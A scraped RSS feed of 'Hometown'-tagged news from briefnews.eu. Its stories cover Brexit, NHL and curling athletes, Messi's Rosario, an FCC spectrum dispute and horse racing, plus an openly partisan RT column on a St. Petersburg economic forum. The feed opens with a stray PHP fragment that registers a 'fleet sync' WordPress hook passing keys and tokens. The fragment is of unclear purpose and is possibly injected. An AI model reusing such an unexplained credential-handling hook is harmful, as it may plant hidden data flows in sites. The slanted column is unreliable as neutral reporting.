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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hometown – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 21 Oct 2019 17:31:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hometown – Brief News https://briefnews.eu 32 32 Naga Munchetty confronts Tory rebel Greening: ‘Your OWN hometown wants to leave!’ https://briefnews.eu/naga-munchetty-confronts-tory-rebel-greening-your-own-hometown-wants-to-leave/ https://briefnews.eu/naga-munchetty-confronts-tory-rebel-greening-your-own-hometown-wants-to-leave/#respond Mon, 21 Oct 2019 17:31:52 +0000 http://briefnews.eu/naga-munchetty-confronts-tory-rebel-greening-your-own-hometown-wants-to-leave/

Speaking to BBC Breakfast‘s Naga Munchetty, the former Conservative MP – now independent – claimed she will not vote in favour of the Prime Minister’s Brexit deal until she has read the legislation in detail. But the exiled former Tory was confronted on her decision to support Sir Oliver Letwin’s amendment which forced Boris Johnson to ask for a delay to the Brexit process in stark contrast to her home constituency’s Brexit demands. 

Ms Greening said: “We haven’t seen the Brexit bill and that’s the new law that my community is going to have to live under for decades.

“I just want to see that actual contract before I sign up to it.

“That’s what my community expects me to do. It’s to be on the ball and making sure I’m on top with the details.”

Naga Munchetty confronted the former Tory MP: “Your community as well – you grew up in Rotherham – it voted to leave the EU by 68 percent.

“So, in many ways, you’re going against your constituency, what your former constituency wanted.”

READ MORE: Brexit latest: What’s happening in Parliament today?

Ms Greening replied: “I grew up in a Leave constituency and I represent a very heavily Remain constituency in Putney.

“So I’ve done my best to represent my community in Putney in Parliament. That’s my job.

“But I think whatever you live in the UK what you need Parliament to do is to make sure that it’s on top of the actual detail that will affect day-to-day lives for decades to come.”

The former Tory minister added it is “vital” that an amendment is brought to Boris Johnson’s Brexit deal to get a second referendum.

The Labour Party has pledged to present an amendment to the Prime Minister’s deal that could force him to attach the promise of a confirmatory referendum to the deal.

Anger boiled over after Sir Keir Starmer and John McDonnell vowed the party would call for another public vote to be brought forward when the Prime Minister again asks MPs to back his deal with the EU.

It comes amid reports last night that Brussels was considering granting a Brexit extension until February.

Sir Keir confirmed Labour will also try to change the deal to include the UK being in a customs union with the European Union after Brexit in a move that would potentially torpedo the whole agreement.

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Russian ice hockey star Evgeni Malkin, who plays for the Pittsburgh Penguins in the NHL, has sent a message of support to his hometown following a New Year’s Eve apartment explosion in which dozens of people lost their lives.

Prior to the Penguins’ game with the New York Rangers on Wednesday, Malkin revealed his skates bore messages in Russian which translated as “Magnitogorsk, we are with you” and “Magnitogorsk, you are in my heart” following the explosion in which dozens of people died after a suspected gas leak.

READ MORE: 31 bodies pulled from debris of building partially destroyed by house blast in Russia

Malkin, 32, scored a goal and an assist in a 7-2 victory for his team and, speaking after the game, said that he hoped he could find the scoresheet to honor the victims of the tragedy. 

“I want to say we support you,” Malkin said.

“We’re here. We’re together. Always in my heart, it’s my hometown. It’s the No. 1 city for me, for my family. I’m glad to be born in this town. I know there’s great people in this town. Something bad happens sometimes. We’ll try to help the families. Just be strong.”

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Malkin also stated that he and the Penguins organization are committed to helping raise funds to support the victims and the rebuilding efforts.

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]]> https://briefnews.eu/magnitogorsk-you-are-in-my-heart-nhl-star-malkin-pays-touching-tribute-after-hometown-tragedy/feed/ 0 Ajit Pai gets message from his hometown ISP: Don’t hurt us small ISPs https://briefnews.eu/ajit-pai-gets-message-from-his-hometown-isp-dont-hurt-us-small-isps/ https://briefnews.eu/ajit-pai-gets-message-from-his-hometown-isp-dont-hurt-us-small-isps/#respond Tue, 24 Jul 2018 18:29:38 +0000 http://briefnews.eu/ajit-pai-gets-message-from-his-hometown-isp-dont-hurt-us-small-isps/

Enlarge / FCC Chairman Ajit Pai speaks about improving rural connectivity during an Agriculture Department forum on April 18, 2018 in Washington, DC. (credit: Getty Images | Alex Wong )

A broadband provider from FCC Chairman Ajit Pai’s hometown says one of his latest plans could prevent it from purchasing spectrum needed to bolster its network.

Wave Wireless is a locally owned and operated home Internet provider in Parsons, Kansas, where Pai grew up. Last year, Pai met with Wave’s owner and wrote in a tweet that Wave is “connecting Parsons (including my parents) & smaller towns nearby.”

Pai heard from his hometown ISP again yesterday when Wave and 181 other fixed wireless broadband providers wrote a letter opposing an FCC plan that could limit the small ISPs’ access to wireless spectrum.

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]]> https://briefnews.eu/ajit-pai-gets-message-from-his-hometown-isp-dont-hurt-us-small-isps/feed/ 0 John Tavares joins hometown Maple Leafs on 7-year deal https://briefnews.eu/john-tavares-joins-hometown-maple-leafs-on-7-year-deal/ https://briefnews.eu/john-tavares-joins-hometown-maple-leafs-on-7-year-deal/#respond Mon, 02 Jul 2018 13:40:57 +0000 http://briefnews.eu/john-tavares-joins-hometown-maple-leafs-on-7-year-deal/

Star forward John Tavares celebrated Canada Day on Sunday by announcing he's coming home to realize a boyhood dream of playing for the Toronto Maple Leafs.

The crown jewel of this summer's free-agent class, the Mississauga, Ont., native has agreed to a seven-year contract worth $ 77 million US, with an average annual value of $ 11 million against the salary cap.

"I just felt this opportunity was so rare," Tavares said at his introductory news conference at the newly named Scotiabank Arena (formerly Air Canada Centre), with Maple Leafs president Brendan Shanahan to his right and general manager Kyle Dubas on his left. "I believe this team has a big window to win and be part of something special. It just felt right and was an opportunity I didn't want to turn down."

Fresh off signing a seven-year deal with the Toronto Maple Leafs, John Tavares spoke to the media about his decision to come home and realize a boyhood dream. 1:29

Tavares' arrival, added Shanahan, is "another great and significant step for this organization" and marks the first big player move for the 31-year-old Dubas in his six-week tenure as the 17th general manager in Maple Leafs history. Two summers ago, Toronto missed out on Steven Stamkos, another prized free agent, when the native of Markham, Ont., decided to remain with Tampa Bay.

Tavares tweeted that he was going to Toronto just after 1 p.m. ET and then added a photo of himself sleeping on Maple Leafs sheets as a child.

"I'm thrilled to be starting a new chapter of my career and life in Toronto," the Tavares tweet read. "I feel very fortunate to come join a team with a great young core and play where I grew up learning and loving the game. I can't wait to get started!"

Tavares coming to Toronto is the biggest free-agent signing in Leafs' history — eclipsing the addition of Gary Roberts and Shayne Corson in 2000 — and the biggest in the league since Scott Niedermayer left the New Jersey Devils for the Anaheim Ducks in 2005.

Dubas said it became apparent late Saturday night that Tavares was leaning to becoming a Maple Leaf and that contract negotiations extended into Sunday morning. The Islanders had exclusive rights until midnight ET to negotiate an eight-year contract extension with Tavares, who was drafted first overall by New York in 2009.

Heart in 2 places

Boston, Dallas, San Jose and Tampa Bay were also in the mix this week as each, along with Toronto and New York, was allowed two hours at the Beverly Hills, Calif.-based office of Creative Artists Agency Sports to address Tavares, his agent Pat Brisson and fiancée Aryne Fuller.

It's believed the Maple Leafs created a promotional video to present to Tavares that included a few of the players.

Upon his return from Los Angeles, Tavares said his heart was in Toronto and New York.

"My heart was tearing apart trying to figure out what I wanted to do," he said, noting it was one of the toughest weeks of his hockey career. "[And Saturday] was one heck of a day. You can ask [Aryne] how many times I walked up and down the pool at my house trying to get a sense of what I wanted to do."

Deep down the middle

Perhaps in a last-ditch effort to keep the beloved player, the Islanders recently lured 2018 Stanley Cup-winning head coach Barry Trotz from Washington as well as former Maple Leafs GM Lou Lamoriello. However, under recently fired GM Garth Snow, New York failed to build a team around Tavares capable of competing for a Stanley Cup and has missed the post-season each of the past two years.

In Toronto, Tavares joins what could be one of the deepest, if not most talented, group of centres in the NHL with Auston Matthews and Nazem Kadri.

The 20-year-old Matthews, the No. 1 pick in 2016, has scored 74 goals and 132 points in 144 regular-season games. Kadri, 27, was drafted seventh overall in 2009. After posting 39 points in the 2014-15 season, the London, Ont., native has since responded with season totals of 45, 61 and 55.

Toronto is coming off a team-record 105-point season under head coach Mike Babcock that saw goalie Frederik Andersen break the franchise mark with 38 wins and a young core continue to develop that also includes Mitch Marner, William Nylander, Zach Hyman, Kasperi Kapanen, Connor Brown and Andreas Johnsson.

Tavares said he is "excited' about the career trajectory of Matthews and Marner.

"They've accomplished so much in such little time," he said. "The way they handle themselves, the way they deal with [playing in a hockey hotbed] in Toronto and just being able to play their game.

There's definitely a comfort level with Mike. His energy, vision and work ethic are second to none.— John Tavares on playing for Maple Leafs head coach Mike Babcock, with whom he won an Olympic gold medal in 2014

"Auston's got the potential to be one of the great goal-scorers in our league. He's got an amazing knack for finding the net [and] incredible stick skills, not just handling the puck but stripping guys, takeaways and being able to be so crafty. You have to be so careful with the puck around him.

"Mitch's speed and ability to control games at times and create time and space with his feet is extremely impressive. He's on top of the puck and he wants it, and I think that's a big quality to have."

Tavares, the biggest name to reach unrestricted free agency since the NHL brought in a salary cap following the 2004-05 lockout, also won a gold medal with Babcock at the 2014 Olympics in Sochi, Russia.

No rush to name captain

"There's definitely a comfort level with Mike," said Tavares. "He was tremendous in the meeting getting me to feel how I can be a part of this team and contribute. His energy, vision and work ethic are second to none. He's got results everywhere he's been."

Dubas said a decision on who will captain the team — Matthews and Tavares are obvious choices — would not be rushed, adding "we want to see how the group fits and works together. We feel we have some great leaders, John among them, and we'll make that call when it becomes apparent to us."

The 27-year-old Tavares scored 37 goals and 84 points in the final season of a six-year, $ 33-million deal signed in 2011.

Little playoff experience

Tavares' most productive NHL campaign came in 2014-15 when he notched 38 goals and 86 points for an Islanders outfit that lost in the opening round of the post-season. He has amassed 272 goals and 621 points in 669 regular-season games and 11 goals and 22 points in 24 playoff starts.

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"The Island has been home, it's what I know, it's part of me — it always will be. I can't thank you all enough for the dedication you have all shown," Tavares said in a separate tweet announcing his decision. "I'm sorry if this decision pains you, as you can tell it wasn't easy, but have trust in the future because it is bright. The Islanders are in great hands."

New York has good young pieces in Calder Trophy winner Mathew Barzal and Anthony Beauvillier up front to go along with what was viewed by many as the one of the best drafts of 2018 after nabbing Oliver Wahlstrom and Noah Dobson, but still looks to be a long way off from contending after finishing last in goals against and shots allowed in 2017-18.

The deepest Tavares has played in an NHL post-season was two years ago following the Islanders' first regular campaign at Barclays Centre in Brooklyn.

After finishing fourth in the Metropolitan Division and fifth in the Eastern Conference, they eliminated the Florida Panthers in six games, courtesy of Tavares' goal in double overtime to mark New York's first playoff series victory since 1993. The Isles then suffered a five-game loss to Tampa Bay.

3 things to know about Tavares

  • He was granted "exceptional player" status to join the Ontario Hockey League at age 15 in 2005. Tavares was selected first overall in the OHL draft by the Oshawa Generals, and would go on to score an OHL-record 215 goals with 218 assists in 247 regular-season games. He added 56 points (20 goals, 36 assists) in 38 playoff outings.
  • Tavares helped Canada win back-to-back titles at the world junior hockey championship. He had four goals and an assist in seven tournament games in 2008 before putting up an incredible eight goals and seven assists in six games in 2009 in Ottawa, including a memorable hat trick against the United States on New Year's Eve.
  • Tavares was part of Canada's dominant gold-medal winning team at the 2014 Olympics, but suffered a knee injury in the quarter-finals that forced him to miss the rest of the tournament and the balance of the NHL season. He had one goal and three assists in 2016 as Canada won the World Cup of Hockey in Toronto.​

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]]> https://briefnews.eu/john-tavares-joins-hometown-maple-leafs-on-7-year-deal/feed/ 0 Messi’s hometown turns white & blue ahead of World Cup (VIDEO) https://briefnews.eu/messis-hometown-turns-white-blue-ahead-of-world-cup-video/ https://briefnews.eu/messis-hometown-turns-white-blue-ahead-of-world-cup-video/#respond Wed, 06 Jun 2018 13:45:58 +0000 http://briefnews.eu/messis-hometown-turns-white-blue-ahead-of-world-cup-video/ The hometown of Argentine football superstar Lionel Messi – Rosario – has been painted in the Argentinian national colors ahead of the 2018 FIFA World Cup, which kicks off next week in Russia.

Rosario is Argentina’s third-largest city, which has more than 1.35 million inhabitants. It is also the hometown of Argentina’s famous revolutionary leader, Ernesto “Che” Guevara.

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Residents of the working-class neighborhood of La Badaja in Rosario, where football legend Messi was born, have colored streets and buildings in white and blue to express their support for the national football squad, which will contend for the World Cup this summer.

“We are here painting the whole neighborhood with the kids before the World Cup so everything is blue and white,” said one of the volunteers involved in covering the city’s streets in blue and white.

“What we are doing is nice, apart from this, we are organizing other things, we want to hang flags and some other things like that a few days before the World Cup so everything is ready.”

The locals didn’t forget to draw the number 10 while painting sidewalks, lampposts and walls to remind everybody what number their football idol wears on the back of his jersey. Argentina’s most recent World Cup triumph dates back to 1986, when the legendary Maradona led his squad to the pinnacle of football beating West Germany 3-2 in the final.

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Messi, who was born a year after Argentina’s World Cup victory, has constantly been compared with the national football icon, Maradona, and will hope for the same success that he enjoyed 32 years ago.

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]]> https://briefnews.eu/messis-hometown-turns-white-blue-ahead-of-world-cup-video/feed/ 0 Sanctions forgotten in St. Petersburg as Putin attracts global big-hitters to his hometown https://briefnews.eu/sanctions-forgotten-in-st-petersburg-as-putin-attracts-global-big-hitters-to-his-hometown/ https://briefnews.eu/sanctions-forgotten-in-st-petersburg-as-putin-attracts-global-big-hitters-to-his-hometown/#respond Thu, 24 May 2018 23:37:22 +0000 http://briefnews.eu/sanctions-forgotten-in-st-petersburg-as-putin-attracts-global-big-hitters-to-his-hometown/ After a few lean years following Russia’s estrangement from the West in 2014, Russia’s most famous business showpiece has come roaring back. This week proves how talk of “isolation” was pure blather.

ST. PETERSBURG – Longtime Russia hands often remark that there are two Russias: the one presented by the Western media and the other, where 145 million-odd people reside. And this week’s Saint Petersburg International Economic Forum is further proof that there’s a lot of truth in this maxim.

Because, while the mainstream press is talking sanctions, sanctions and more sanctions, some of the planet’s biggest hitters have descended on Russia’s second capital, with the likes of French President Emmanuel Macron, Japanese Prime Minister Shinzo Abe, IMF chief Christine Lagarde and Chinese Vice President Wang Qishan enjoying the warm late spring sunshine. What’s more, American Ambassador Jon Huntsman has even turned up.

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The event follows a flurry of diplomatic activity in the past week after German Chancellor Angela Merkel, Indian Prime Minister Narendra Modi and Syrian President Bashar Assad all visited Sochi separately.

In the first month of Putin’s fourth, and presumed final, term as Russian president, the message is clear: Russia is open for business and was only isolated in Washington and London’s fantasies.

New Dawn

However, there is no doubt that relations between Russia and other large European countries need to be repaired, and the heavy French presence here is being welcomed as a genuine attempt at a reset. In addition to Macron, his foreign minister, Jean-Yves Le Drian, and a variety of key executives, such as Total CEO Patrick Pouyanne, have tagged along.

With this in mind, it was notable to see Huntsman walking around relatively anonymously on Thursday, while the hosts focused their energies on dignitaries from Europe and Asia. Nevertheless, the US ambassador was keen to engage, even giving interviews to Russian TV, something which one observer noted might be enough to have him labelled a “KGB agent” amid the current neo-McCarthyite hysteria in America.

The SPIEF is a gigantic event where almost every notable Russian company is represented alongside international big-hitters. This means everything from impeccably-styled Aeroflot hostesses to female Sberbank representatives channelling the Stepford Wives, for reasons unknown. And plenty of ice-cream and wine samples were going around too, along with alcohol-free Budweiser, which wasn’t in huge demand. There were also plenty of famous faces knocking around the SPIEF, ranging from writer and statistic-expert Nassim Nicholas Taleb to the Indian Yogi and mystic Sadhguru.

Local Heroes

Meanwhile, Russian regions also compete for attention, and their offerings are the most amusing by some distance. The good people of the Far Eastern capital of Khabarovsk were armed with a psychedelic video showing giant planes flying over the city center: a trippy way of explaining how Sukhoi jets are made in the oblast (state).

At the same time, Kaliningrad attempted to bribe investors with free cheese, while the folk representing Zabaikalsky appeared to have given up and gone home, judging by their empty stand.

Novgorod proudly boasted: “We Like Russia.” Something which, given its relative proximity to Estonia and Latvia, seemed suspiciously weak. Indeed, it wouldn’t surprise this writer if the message is updated to “love” by Saturday.

But the star of the show was the partially-subtropical Krasnodar, reflecting how it’s just about the only Russian region where you can happily spend time outside in winter with a huge, and massively popular, external space offering food delicacies from the Kuban region.

However, its geographical neighbour, Crimea (which was reabsorbed into Russia in 2014), wasn’t feeling the love. “We just can’t touch Crimea because of the sanctions,” one German delegate explained over a cup of tea, infused with leaves grown in Sochi.

In the social areas, the main topics on day one were the state of the Russian economy, which is looking at a two percent growth this year. Many contended that the present high oil prices will allow the Kremlin to buy more currency reserves, which can insulate Russia from further American sanctions. Also, while some lamented about the lack of American and British involvement in the SPIEF, others pointed to Russia’s growing footprint in Asia and the Middle East and the hope that Washington’s “rogue” behavior under Donald Trump may force European Union members to reassess their attitude toward Moscow.

Bryan MacDonald for RT

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]]> https://briefnews.eu/sanctions-forgotten-in-st-petersburg-as-putin-attracts-global-big-hitters-to-his-hometown/feed/ 0 Hometown heroes: Brother-sister duo leads U of Alberta sweep of curling nationals https://briefnews.eu/hometown-heroes-brother-sister-duo-leads-u-of-alberta-sweep-of-curling-nationals/ https://briefnews.eu/hometown-heroes-brother-sister-duo-leads-u-of-alberta-sweep-of-curling-nationals/#respond Thu, 29 Mar 2018 00:11:51 +0000 http://briefnews.eu/hometown-heroes-brother-sister-duo-leads-u-of-alberta-sweep-of-curling-nationals/

LEDUC, ALTA. — It had been everything Selena and Karsten Sturmay dreamed about while growing up in Leduc — playing in a national curling championship to earn the right to wear the maple leaf at an international event.

Within minutes of each other inside the Leduc Recreation Centre on Wednesday afternoon, the hometown curling siblings realized their dreams. 

The University of Alberta Golden Bears and Pandas curling teams captured national titles. Selena is second for the women’s team. Karsten is the skip for the men’s team. After both games finished, the brother and sister raced towards one another and shared a hug that represented a lifetime of practicing for this moment. 

“I was peeking over at my brother’s game. I was keeping tabs on it,” Selena said. “I saw him make some really nice shots.”

Karsten was guilty of the same lack of focus.

“I couldn’t help myself from peeking over every once in a while to see how their game was going. I would love to say I was completely focused every minute of my game, but there might have been a bit of a gap in my focus at times.”

Karsten skipped his team to a 6-4 victory over the University of Winnipeg. It was his third consecutive university championship game — the third time was a charm. 

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‘Words can’t describe this’

“It’s unreal. I don’t think it’s set in yet. My team has put in so much hard work, so to finally have this pay off today, words can’t describe this,” Karsten said. 

The Alberta women defeated Thompson Rivers University in the final 6-3. It’s the school’s third title in the last four years on the women’s side.

“It hasn’t quite sunk in yet, but I’m sure when it does it’s going to feel surreal. It’s crazy this is happening,” Selena said. 

Both Karsten and Selena will be alongside their teams wearing the red and white at the 2019 Universiade in Russia. 

Selena Sturmay, left, and her brother Karsten Sturmay pose with their medals after each helped their team to victory in the gold-medal games at the national university curling championships. (Devin Heroux/CBC Sports)

But there’s more curling left for them in Leduc this week. The two won’t have long to rest. Selena and Karsten are now joining forces to play in the mixed doubles nationals. Their first game is just hours after their national championship games. 

“We’re as ready as we could possibly be. Taking it one step at a time. We feel comfortable with the ice,” Selena said. 

In the bronze medal university games, Brock University defeated Mount Allison 12-2 to win women’s bronze and the University of New Brunswick defeated University of Waterloo 7-5 to claim men’s bronze. 

College titles up for grabs too

Douglas College out of New Westminster, B.C., defeated Fanshawe College from London, Ont., in the men’s Canadian Collegiate Athletic Association final to claim a national championship. 

The men’s bronze medal went to the Northern Alberta Institute of Technology from Edmonton after they defeated the University of Alberta Augustana 8-4.

On the women’s side, Fanshawe College defeated Camosun College out of Victoria, B.C., to win the national title 5-4 in an extra end. 

In the bronze medal game, Northern Alberta Institute of Technology defeated MacEwan University 8-6.

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]]> https://briefnews.eu/hometown-heroes-brother-sister-duo-leads-u-of-alberta-sweep-of-curling-nationals/feed/ 0 Numbers stack up for a hometown victory https://briefnews.eu/numbers-stack-up-for-a-hometown-victory/ https://briefnews.eu/numbers-stack-up-for-a-hometown-victory/#respond Fri, 23 Feb 2018 08:29:03 +0000 http://briefnews.eu/numbers-stack-up-for-a-hometown-victory/ LEADING bush trainer Danny Williams is relying on sheer weight of numbers to dominate the $ 150,000 Country Championships Qualifier (1400m) at Goulburn on Saturday.

In a remarkable feat, Williams will saddle-up nine of the 16 starters in the feature race, plus he has one of the emergencies.

Just a week after trainer Jenny Graham’s historic achievement to prepare the Country Championships Qualifier trifecta with Victorem, Awesome Pluck and Portatorio at Port Macquarie, Williams is heavily favoured to at least equal her record in the Goulburn heat.

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Team Williams is led by boom sprinter Don’t Give A Damn, the $ 1.60 favourite with TAB Fixed Odds. The next four in betting are also from the Williams stable with Kopi Luwak ($ 5.50), Acquittal ($ 11), Chewbacca ($ 15) and Pumpkin Pie ($ 15).

The trainer’s other runners are Biodynamic ($ 34), Volpe ($ 34), Mister Marmalade ($ 41), O’Lordy ($ 101) and emergency El Mo ($ 41).

Trainers have been planning for the Country Championships series for months and for Williams to secure nine runners in the Goulburn heat is an extraordinary effort.

“This is the first time I have had nine runners in a race,’’ Williams said.

“It is a big thing just to get a horse qualified for the race. To have so many runners is not easy but it is good for my owners.’’

Williams was reluctant to rate his runners in the Goulburn heat but conceded the bookies have it right with Don’t Give A Damn, Kopi Luwak, Acquittal and Chewbacca at the top of betting.

Don’t Give A Damn has won four of his five starts — his only defeat came at his second start when narrowly beaten by another boom bush sprinter, Suncraze — including a stunning return to racing at Rosehill Gardens on February 3 when he ran his rivals ragged to win over 1300m.

Williams, who has such a high regard for Don’t Give A Damn, is considering a possible Doncaster Mile preparation and believes the chestnut has the early speed to negate his wide barrier on Saturday.

“There is a lot of speed drawn out wide,’’ Williams said. “So, I don’t think the barrier is a problem as Don’t Give A Damn has enough speed to cross these horses.’’

Williams said Don’t Give A Damn, who is the $ 2.90 favourite to win the Country Championships Final at Royal Randwick on April 7, had improved considerably since his Rosehill win.

“Don’t Give A Damn was vulnerable that day as he had not had an official trial going into that race,’’ Williams said. “He has definitely come on since that run, it has really toughened him and tuned him up.

“We do have a big agenda for this horse during the autumn and I’ve left a fair bit in the tank. “He might still be a bit fresh but his class should prevail.’’

Kopi Luwak and Chewbacca are inexperienced gallopers with just three race starts, the former being plagued by injuries early in his career while the latter is a three-year-old still learning his trade.

“I would say Kopi Luwak and Chewbacca are great chances,’’ Williams said. “Kopi Luwak will appreciate Goulburn. He gets back in his races but with the speed on, he will get the chance to hit the line. Chewbacca is way up with there in ability but mentally not there yet. He was very good first-up and he is much fitter now. He’s a promising young horse.’’

Williams also has a good opinion of Acquittal, who defeated Kopi Luwak in a TAB Highway at Randwick two starts back before his second to Mate Story in a Rosehill Highway.

“Acquittal is such a big striding horse I don’t think he liked the soft track last start and he may not have run the 1500m right out,’’ the trainer said.

“The race did take a fair bit out of him but we have worked hard on him over the last three weeks and we are happy with him going into the race.’’

Biodynamic is a former European galloper making his Australian debut. He has only won a maiden in his six starts to date but was considered promising enough to run in the 2016 English Derby, finishing well down the track.

“I would say Biodynamic probably needs 2000m,’’ Williams said. “But this looked a logical race to start him off in as it is set weights.’’

Volpe comes off a ninth in a Warwick Farm Highway with Williams revealing jockey Blake Shinn said the gelding had no luck and should have finished top three.

Williams said Mister Marmalade would also appreciate getting back onto a firm track while the trainer is adamant Pumpkin Pie, last year’s Goulburn Country Championships heat winner, is capable of running a much improved race today.

O’Lordy is one of the rank outsiders with Williams believing the mare can respond better if ridden more conservatively early, while El Mo is described as a nervous horse with potential.

Meantime, Most Exalted is the $ 2.80 favourite to win the Country Championships Qualifier at Mudgee on Sunday, with Schedule the $ 4.60 second favourite.

“One punter has placed $ 1,000 on Schedule at $ 51 to win the Country Championships Final on at Royal Randwick on April 7, with the Mudgee based gelding now into $ 26,” TAB’s Glenn Munsie said.

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]]> https://briefnews.eu/numbers-stack-up-for-a-hometown-victory/feed/ 0 Through adversity to the stars: Hometown hero Rachel Homan headed to Olympics https://briefnews.eu/through-adversity-to-the-stars-hometown-hero-rachel-homan-headed-to-olympics/ https://briefnews.eu/through-adversity-to-the-stars-hometown-hero-rachel-homan-headed-to-olympics/#respond Mon, 11 Dec 2017 09:54:02 +0000 http://briefnews.eu/through-adversity-to-the-stars-hometown-hero-rachel-homan-headed-to-olympics/ OTTAWA — It was an embrace that seemingly lasted a lifetime. 

Chelsea Carey just missed a double in the final end to force an extra end allowing Rachel Homan and her team to clinch an Olympic berth for Canada after a 6-5 win.

Homan, Emma Miskew, Joanne Courtney and Lisa Weagle raced to one another and wrapped their arms around each other and held on tight. A crowd of 7,490 people roared as they all continued to hug.

“It’s something I could have never dreamt of when I was little. In our hometown, we couldn’t have written a better story,” Homan said after the game. 

Homan had been inside the Canadian Tire Centre so many times before Sunday’s final. 

She grew up watching Senators games, concerts and even saw one of Gord Downie’s last concerts inside the big building, which is about ten minutes down the road from her home.

But never before had she stepped into the building for a moment so big with so much at stake.

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On Sunday afternoon, inside that same venue with friends and family watching, Homan fulfilled her Olympic dream.

“It’s a crazy emotional day,” she said.

Just another day 

Team Homan rented a home to stay at together all week in Ottawa. Every morning throughout the round robin, the skip would cook the rest of the team breakfast.

That didn’t change for championship Sunday.

“She cooked us eggs like she always does,” Weagle said. “Then we played some trivia and just tried to take our minds off the game.”

The Homan team has worked extremely hard on the mental aspect of their game. Their coach, Adam Kingsbury, was brought in specifically to help them become more confident and focused when the pressure grew.

So when it came to sticking to their routine when it mattered most, they stuck to the plan.

“I don’t think we were different today,” Homan said. “We were the same team. We just kept going with what was working.”

It wasn’t easy though.

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Rachel Homan is greeted by family after winning the Roar of the Rings on Sunday. (Devin Heroux/CBC Sports)

Homan started the game with back-to-back steals but Carey just kept chipping away. She was able to cut the Homan lead to 3-2 at the midway point of the championship. However, Homan scored two more in the 6th to go up 5-2. 

The teams continued to go back and forth. Homan was forced to a single in the 9th end, setting up a dramatic finish while leading 6-4. Carey had a shot in the last end to score two and tie the game but just missed it.

“That’s awful. That’s not what you want. One team is going home upset and one team is going home happy. It just wasn’t our day,” Carey said. 

Through adversity to the stars

Homan burst into tears when she finally reached her family after the game. One after another they hugged. Her dad Craig Homan basked in the moment with his daughter, who is now an Olympian.

“I just told her that I was proud of her and a bunch of ‘I love yous’. Then I just held her because she started to cry. She doesn’t really like to be seen crying,” he said.

But there was someone missing from the celebration. Her grandfather, Gerry Homan, helped spark her curling dream.

Per ardua ad astra is etched on Homan’s sliding foot – which in English translates to “through adversity to the stars.” 

It’s meaning is no doubt loaded with significance. It’s the motto of the Royal Canadian Air Force. Gerry was a navigator with the RCAF.

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Skip Rachel Homan of Ottawa, Ont., third Emma Miskew, second Joanne Courtney and lead Lisa Weagle hold up their medals after winning the women’s final. (Justin Tang/The Canadian Press)

“It’s significant of my entire family and curling and how it all ties together. It means a lot to me. Family is huge and really important to me and that’s where it comes from,” she said.

Gerry Homan died on April 1, 2011 at the age of 79. He was an avid curler throughout his entire life and Rachel Homan’s biggest fan. Gerry was able to watch his granddaughter’s first-ever Scotties just a couple of months before he died. 

Homan says he was with her today.

“That motto is with me always and he’s with me always,” Homan said. “A lot of people helped us get here. We couldn’t be more grateful for everyone who has been on this journey with us.”

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The world number four looked set for a title shot until he lost his last fight against Volkan Oezdemir in July.

After spending a few months recovering from his latest defeat, Manuwa claims he is now ready to step back into the octagon and work his way to the top.

The Londoner wants his next bout to be in his hometown, when UFC arrives in the English capital on Saturday, March 17.

And it is world number three Glover Teixeira who Manuwa wants to knockout before he feels he is worthy of a title shot.

“100 per-cent (I want to challenge Daniel Cormier), he is the champion,” betsafe.com ambassador Manuwa told Express Sport.

“By coming off a loss I think I need one more spectacular win and then I’ll be in the title shot.

“I want to fight someone ranked above me and there’s only one person ranked above me and that’s Glover Teixeira.

“He’s fighting on December 16th in Canada so I’ll be keeping an eye on him.

“If he wins or loses I’ll like to fight him in London in March.”

Mauna joined UFC late on in his career but he has still established a fierce reputation for his fighting style.

The 37-year-old is so brutal he has only gone beyond the second round of a fight on one occasion.

His last two victories, against Corey Anderson and Ovince Saint Preux, came by knockout in the opening two rounds.

And now he wants to avenge his loss to Oezdemir before turning his attention to Cormier.

“The training is going well, I am just ticking over and then I am waiting for someone to step up,” he added.

“My plans are to avenge my loss against Volkan Oezdemir and get the UFC title.

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